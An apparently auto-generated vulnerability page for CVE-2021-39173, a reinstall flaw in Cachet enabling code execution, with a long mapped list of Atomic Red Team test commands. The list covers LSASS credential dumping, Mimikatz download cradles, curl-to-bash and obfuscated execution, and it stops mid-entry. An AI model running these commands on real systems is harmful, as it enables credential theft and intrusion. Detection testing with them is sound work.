CVE-2021-39173

HIGH Pub 27/08 Upd 04/08

Overview

The vulnerability in fiveai Cachet arises from improper validation within the middleware component 'ReadyForUse', which manages instance initialization state. Authenticated users can bypass intended instance state checks, allowing them to re-trigger the installation process. This flaw stems from insufficient verification of the instance name parameter, enabling manipulation of the application lifecycle control flow.

Vulnerability Description

Cachet is an open source status page system. Prior to version 2.5.1 authenticated users, regardless of their privileges (User or Admin), can trick Cachet and install the instance again, leading to arbitrary code execution on the server. This issue was addressed in version 2.5.1 by improving the middleware `ReadyForUse`, which now performs a stricter validation of the instance name. As a workaround, only allow trusted source IP addresses to access to the administration dashboard.

Impact

An attacker with authenticated access can exploit this vulnerability to execute arbitrary code on the server hosting Cachet, potentially compromising the entire system. The prerequisite is valid user authentication, regardless of privilege level (User or Admin). This can lead to full system compromise, data exposure, and service disruption. The CVSS vector indicates network attack complexity is low, privileges required are low, and no user interaction is needed (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

Solution

Upgrade fiveai Cachet to version 2.5.1 or later, where the 'ReadyForUse' middleware includes stricter instance name validation, as detailed in the GitHub advisory GHSA-r67m-m8c7-jp83 and the release notes at https://github.com/fiveai/Cachet/releases/tag/v2.5.1. As a temporary mitigation, restrict administration dashboard access to trusted IP addresses only, preventing unauthorized reinstallation attempts.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability in the open-source status page system, Cachet, arises from improper validation mechanisms within its middleware, specifically the `ReadyForUse` function. This flaw allows authenticated users, regardless of their privilege level, to exploit the system by tricking it into reinstalling the instance. This action can lead to arbitrary code execution on the server, effectively giving attackers the ability to execute malicious commands and potentially take full control of the affected system. The root cause lies in the inadequate checks performed on the instance name, which fails to prevent unauthorized actions by users who should not have the ability to manipulate the system in such a manner.

Attack vectors for this vulnerability are particularly concerning due to the ease with which an attacker can exploit it. An authenticated user, whether a regular user or an administrator, could initiate the reinstallation process by crafting a request that bypasses the validation checks. This could be accomplished through various means, such as using automated scripts or manual exploitation techniques to send specially crafted requests to the server. Once the instance is reinstalled, the attacker could deploy malicious payloads, leading to significant breaches of confidentiality, integrity, and availability of the system. The potential for exploitation increases in environments where user accounts may have been compromised or where users have excessive privileges.

The real-world impact of this vulnerability can be severe, especially for organizations relying on Cachet for operational status updates and incident management. If an attacker successfully exploits this flaw, they could manipulate the status page to mislead users, disrupt services, or even exfiltrate sensitive data. The business risks associated with such an incident include reputational damage, loss of customer trust, financial losses due to service disruptions, and potential legal ramifications if sensitive information is compromised. Organizations that utilize Cachet must recognize that the implications of this vulnerability extend beyond technical concerns; they can significantly affect overall business operations and stakeholder confidence.

To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security approach. First, upgrading to version 2.5.1 or later is essential, as this version includes improved validation mechanisms that address the core issue. Additionally, organizations should restrict access to the administration dashboard by allowing only trusted source IP addresses. This access control measure can significantly reduce the attack surface by preventing unauthorized users from attempting to exploit the vulnerability. Regular security audits and penetration testing should also be conducted to identify potential weaknesses in the system and ensure that all components are up to date with the latest security patches.

In conclusion, the vulnerability within Cachet presents a significant threat due to its potential for arbitrary code execution and the ease of exploitation by authenticated users. Organizations must take proactive steps to mitigate this risk, including applying patches, implementing strict access controls, and conducting regular security assessments. By understanding the technical details, attack vectors, and real-world implications of this vulnerability, organizations can better protect their systems and maintain the integrity of their operations. The importance of vigilance in cybersecurity cannot be overstated, as the consequences of neglecting such vulnerabilities can be profound and far-reaching.

Affected Products (1)

Vendor Product Version CPE
catchethq Catchethq Catchet All cpe:2.3:a:catchethq:catchet:*:*:*:*:*:*:*:*

Exploits

No exploits found for this CVE.

Exploited in Wild NOT DETECTED
Ransomware NOT ASSOCIATED
Attacker Interest VERY LOW
Sightings No sightings

Threat Feed

0 events

No threat activity recorded for this CVE.

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Target OS:

Deployed role: Linux · Web Server

Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier. Pick the target OS above to see the OS-specific path and matching playbook.

Attack Vectors ML

Remote Code Execution
58% rce
Code Injection
52% code_injection
OS Command Injection
48% command_injection

MITRE ATT&CK Techniques (10)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059.001 PowerShell Kill Chain execution Windows
T1059.004 Unix Shell Kill Chain execution ESXi, Linux, macOS, Network Devices
T1505.003 Web Shell Kill Chain persistence Linux, macOS, Network Devices, Windows
T1003.001 LSASS Memory Kill Chain credential-access Windows
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1049 System Network Connections Discovery Kill Chain discovery Windows, IaaS, Linux, macOS, Network Devices, ESXi
T1087.002 Domain Account Kill Chain discovery Linux, macOS, Windows
T1021.002 SMB/Windows Admin Shares Kill Chain lateral-movement Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns

No CAPEC pattern mapped to this CVE.

Red Team Playbook

108 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1003.001 Create Mini Dump of LSASS.exe using ProcDump Windows CMD Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals ProcDump. This particular method uses -mm to produce a mini dump of lsass.exe Upon successful execution, you should see the following file created...
Command (CMD) 
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
T1003.001 Dump LSASS with createdump.exe from .Net v5 Windows PowerShell Privileged
Use createdump executable from .NET to create an LSASS dump. [Reference](https://twitter.com/bopin2020/status/1366400799199272960?s=20)
Command (PowerShell) 
$exePath =  resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
T1003.001 Dump LSASS.exe Memory through Silent Process Exit Windows CMD Privileged
WerFault.exe (Windows Error Reporting process that handles process crashes) can be abused to create a memory dump of lsass.exe, in a directory of your choice. This method relies on a mechanism introduced in Windows 7 called Silent Process Exit, which provides the ability to...
Command (CMD) 
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
T1003.001 Dump LSASS.exe Memory using NanoDump Windows CMD Privileged
The NanoDump tool uses syscalls and an invalid dump signature to avoid detection. https://github.com/helpsystems/nanodump Upon successful execution, you should find the nanondump.dmp file in the temp directory
Command (CMD) 
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
T1003.001 Dump LSASS.exe Memory using Out-Minidump.ps1 Windows PowerShell Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This test leverages a pure powershell implementation that leverages the MiniDumpWriteDump Win32 API call. Upon successful execution, you should see the following file created...
Command (PowerShell) 
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1') -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
T1003.001 Dump LSASS.exe Memory using ProcDump Windows CMD Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals ProcDump. Upon successful execution, you should see the following file created c:\windows\temp\lsass_dump.dmp. If you see a message saying "procdump.exe is...
Command (CMD) 
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
T1003.001 Dump LSASS.exe Memory using Windows Task Manager Windows Manual
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with the Windows Task Manager and administrative permissions.
T1003.001 Dump LSASS.exe Memory using comsvcs.dll Windows PowerShell Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with a built-in dll. Upon successful execution, you should see the following file created $env:TEMP\lsass-comsvcs.dmp.
Command (PowerShell) 
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
T1003.001 Dump LSASS.exe Memory using direct system calls and API unhooking Windows CMD Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved using direct system calls and API unhooking in an effort to avoid detection....
Command (CMD) 
"#{dumpert_exe}"
T1003.001 Dump LSASS.exe using imported Microsoft DLLs Windows PowerShell Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved by importing built-in DLLs and calling exported functions. Xordump will re-read the resulting minidump file and delete it immediately to avoid brittle EDR detections that...
Command (PowerShell) 
#{xordump_exe} -out #{output_file} -x 0x41
T1003.001 Dump LSASS.exe using lolbin rdrleakdiag.exe Windows PowerShell Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with lolbin rdrleakdiag.exe. Upon successful execution, you should see the following files created, $env:TEMP\minidump_<PID>.dmp and $env:TEMP\results_<PID>.hlk.
Command (PowerShell) 
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
      $binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
  } elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
      $binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
  } else {
      $binary_path = "File not found"
      exit 1
  }
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force} 
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
T1003.001 LSASS read with pypykatz Windows CMD Privileged
Parses secrets hidden in the LSASS process with python. Similar to mimikatz's sekurlsa:: Python 3 must be installed, use the get_prereq_command's to meet the prerequisites for this test. Successful execution of this test will display multiple usernames and passwords/hashes...
Command (CMD) 
"#{venv_path}\Scripts\pypykatz" live lsa
T1003.001 Offline Credential Theft With Mimikatz Windows CMD Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. Adversaries commonly perform this offline analysis with Mimikatz. This tool is available at https://github.com/gentilkiwi/mimikatz and can be obtained using the get-prereq_commands.
Command (CMD) 
#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
T1003.001 Powershell Mimikatz Windows PowerShell Privileged
Dumps credentials from memory via Powershell by invoking a remote mimikatz script. If Mimikatz runs successfully you will see several usernames and hashes output to the screen. Common failures include seeing an \"access denied\" error which results when Anti-Virus blocks...
Command (PowerShell) 
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
T1021.002 Copy and Execute File with PsExec Windows CMD Privileged
Copies a file to a remote host and executes it using PsExec. Requires the download of PsExec from [https://docs.microsoft.com/en-us/sysinternals/downloads/psexec](https://docs.microsoft.com/en-us/sysinternals/downloads/psexec).
Command (CMD) 
"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}
T1021.002 Execute command writing output to local Admin Share Windows CMD Privileged
Executes a command, writing the output to a local Admin Share. This technique is used by post-exploitation frameworks.
Command (CMD) 
cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1
T1021.002 Map Admin Share PowerShell Windows PowerShell
Map Admin share utilizing PowerShell
Command (PowerShell) 
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
T1021.002 Map admin share Windows CMD
Connecting To Remote Shares
Command (CMD) 
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell) 
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD) 
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1049 System Discovery using SharpView Windows PowerShell Privileged
Get a listing of network connections, domains, domain users, and etc. sharpview.exe located in the bin folder, an opensource red-team tool. Upon successful execution, cmd.exe will execute sharpview.exe <method>. Results will output via stdout.
Command (PowerShell) 
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
T1049 System Network Connections Discovery Windows CMD
Get a listing of network connections. Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. `net sessions` requires elevated privileges; on standard user accounts this command may not return results. Results will output via stdout.
Command (CMD) 
netstat -ano
net use
net sessions 2>nul
T1049 System Network Connections Discovery FreeBSD, Linux & MacOS Linux, macOS Shell
Get a listing of network connections. Upon successful execution, sh will execute `netstat` and `who -a`. Results will output via stdout.
Command (Shell) 
netstat
who -a
T1049 System Network Connections Discovery via PowerShell (Process Mapping) Windows PowerShell
Enumerate TCP connections and map to owning process names via PowerShell.
Command (PowerShell) 
Get-NetTCPConnection | ForEach-Object {
  $p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
  [pscustomobject]@{
    Local   = "$($_.LocalAddress):$($_.LocalPort)"
    Remote  = "$($_.RemoteAddress):$($_.RemotePort)"
    State   = $_.State
    PID     = $_.OwningProcess
    Process = if ($p) { $p.ProcessName } else { $null }
  }
} | Sort-Object State,Process | Format-Table -AutoSize
T1049 System Network Connections Discovery via sockstat (Linux, FreeBSD) Linux Shell
Enumerate IPv4/IPv6 network endpoints on FreeBSD using sockstat.
Command (Shell) 
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
T1049 System Network Connections Discovery via ss or lsof (Linux/MacOS) Linux, macOS Bash
List active TCP/UDP network connections using ss, with lsof as a fallback when ss is unavailable. Serves as an alternative to the netstat-based test.
Command (Bash) 
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
T1049 System Network Connections Discovery with PowerShell Windows PowerShell
Get a listing of network connections. Upon successful execution, powershell.exe will execute `get-NetTCPConnection`. Results will output via stdout.
Command (PowerShell) 
Get-NetTCPConnection
T1059.001 ATHPowerShellCommandLineParameter -Command parameter variations Windows PowerShell
Executes powershell.exe with variations of the -Command parameter
Command (PowerShell) 
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop
T1059.001 ATHPowerShellCommandLineParameter -Command parameter variations with encoded arguments Windows PowerShell
Executes powershell.exe with variations of the -Command parameter with encoded arguments supplied
Command (PowerShell) 
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
T1059.001 ATHPowerShellCommandLineParameter -EncodedCommand parameter variations Windows PowerShell
Executes powershell.exe with variations of the -EncodedCommand parameter
Command (PowerShell) 
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop
T1059.001 ATHPowerShellCommandLineParameter -EncodedCommand parameter variations with encoded arguments Windows PowerShell
Executes powershell.exe with variations of the -EncodedCommand parameter with encoded arguments supplied
Command (PowerShell) 
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
T1059.001 Abuse Nslookup with DNS Records Windows PowerShell
Red teamer's avoid IEX and Invoke-WebRequest in your PowerShell commands. Instead, host a text record with a payload to compromise hosts. [reference](https://twitter.com/jstrosch/status/1237382986557001729)
Command (PowerShell) 
# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup  { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
T1059.001 Invoke-AppPathBypass Windows CMD
Note: Windows 10 only. Upon execution windows backup and restore window will be opened. Bypass is based on: https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/
Command (CMD) 
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
T1059.001 Mimikatz Windows CMD Privileged
Download Mimikatz and dump credentials. Upon execution, mimikatz dump details and password hashes will be displayed.
Command (CMD) 
powershell.exe "IEX (New-Object Net.WebClient).DownloadString('#{mimurl}'); Invoke-Mimikatz -DumpCreds"
T1059.001 Mimikatz - Cradlecraft PsSendKeys Windows PowerShell Privileged
Run mimikatz via PsSendKeys. Upon execution, automated actions will take place to open file explorer, open notepad and input code, then mimikatz dump info will be displayed.
Command (PowerShell) 
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
T1059.001 NTFS Alternate Data Stream Access Windows PowerShell
Creates a file with an alternate data stream and simulates executing that hidden code/file. Upon execution, "Stream Data Executed" will be displayed.
Command (PowerShell) 
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
T1059.001 PowerShell Command Execution Windows CMD
Use of obfuscated PowerShell to execute an arbitrary command; outputs "Hello, from PowerShell!". Example is from the 2021 Threat Detection Report by Red Canary.
Command (CMD) 
powershell.exe -e  #{obfuscated_code}
T1059.001 PowerShell Fileless Script Execution Windows PowerShell
Execution of a PowerShell payload from the Windows Registry similar to that seen in fileless malware infections. Upon exection, open "C:\Windows\Temp" and verify that art-marker.txt is in the folder.
Command (PowerShell) 
# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
T1059.001 PowerShell Invoke Known Malicious Cmdlets Windows PowerShell Privileged
Powershell execution of known Malicious PowerShell Cmdlets
Command (PowerShell) 
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
    "function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
    $cmdlets}
T1059.001 PowerShell Session Creation and Use Windows PowerShell Privileged
Connect to a remote powershell session and interact with the host. Upon execution, network test info and 'T1086 PowerShell Session Creation and Use' will be displayed.
Command (PowerShell) 
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
T1059.001 PowerUp Invoke-AllChecks Windows PowerShell
Check for privilege escalation paths using PowerUp from PowerShellMafia
Command (PowerShell) 
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
T1059.001 Powershell Invoke-DownloadCradle Windows Manual
Provided by https://github.com/mgreen27/mgreen27.github.io Invoke-DownloadCradle is used to generate Network and Endpoint artifacts.
T1059.001 Powershell MsXml COM object - with prompt Windows CMD
Powershell MsXml COM object. Not proxy aware, removing cache although does not appear to write to those locations. Upon execution, "Download Cradle test success!" will be displayed. Provided by https://github.com/mgreen27/mgreen27.github.io
Command (CMD) 
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
T1059.001 Powershell XML requests Windows CMD
Powershell xml download request. Upon execution, "Download Cradle test success!" will be dispalyed. Provided by https://github.com/mgreen27/mgreen27.github.io
Command (CMD) 
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
T1059.001 Powershell invoke mshta.exe download Windows CMD
Powershell invoke mshta to download payload. Upon execution, a new PowerShell window will be opened which will display "Download Cradle test success!". Provided by https://github.com/mgreen27/mgreen27.github.io
Command (CMD) 
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
T1059.001 Run BloodHound from local disk Windows PowerShell
Upon execution SharpHound will be downloaded to disk, imported and executed. It will set up collection methods, run and then compress and store the data to the temp directory on the machine. If system is unable to contact a domain, proper execution will not occur. Successful...
Command (PowerShell) 
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
T1059.001 Run Bloodhound from Memory using Download Cradle Windows PowerShell
Upon execution SharpHound will load into memory and execute against a domain. It will set up collection methods, run and then compress and store the data to the temp directory. If system is unable to contact a domain, proper execution will not occur. Successful execution...
Command (PowerShell) 
write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
T1059.001 SOAPHound - Build Cache Windows PowerShell
Build cache using SOAPHound. Upon execution, a cache will be built and stored in the specified cache filename. src: https://github.com/FalconForceTeam/SOAPHound
Command (PowerShell) 
#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
T1059.001 SOAPHound - Dump BloodHound Data Windows PowerShell
Dump BloodHound data using SOAPHound. Upon execution, BloodHound data will be dumped and stored in the specified output directory. src: https://github.com/FalconForceTeam/SOAPHound
Command (PowerShell) 
#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
T1059.004 Change login shell Linux Bash Privileged
An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user.
Command (Bash) 
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
T1059.004 Command line scripts Linux Shell
An adversary may type in elaborate multi-line shell commands into a terminal session because they can't or don't wish to create script files on the host. The following command is a simple loop, echoing out Atomic Red Team was here!
Command (Shell) 
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
T1059.004 Command-Line Interface Linux, macOS Shell
Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server. Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`.
Command (Shell) 
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
T1059.004 Create and Execute Bash Shell Script Linux, macOS Shell
Creates and executes a simple sh script.
Command (Shell) 
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
T1059.004 Creating shell using cpan command Linux, macOS Shell
cpan lets you execute perl commands with the ! command. It can be used to break out from restricted environments by spawning an interactive system shell. Reference - https://gtfobins.github.io/gtfobins/cpan/
Command (Shell) 
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1  cpan
T1059.004 Current kernel information enumeration Linux Shell
An adversary may want to enumerate the kernel information to tailor their attacks for that particular kernel. The following command will enumerate the kernel information.
Command (Shell) 
uname -srm
T1059.004 Detecting pipe-to-shell Linux Shell
An adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage...
Command (Shell) 
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
T1059.004 Environment variable scripts Linux Shell
An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash
Command (Shell) 
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
T1059.004 Harvest SUID executable files Linux Shell
AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges.
Command (Shell) 
chmod +x #{autosuid}
bash #{autosuid}
T1059.004 LinEnum tool execution Linux Shell
LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.
Command (Shell) 
chmod +x #{linenum}
bash #{linenum}
T1059.004 New script file in the tmp directory Linux Shell
An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which...
Command (Shell) 
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
T1059.004 Obfuscated command line scripts Linux Shell
An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to...
Command (Shell) 
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
T1059.004 Shell Creation using awk command Linux, macOS Shell
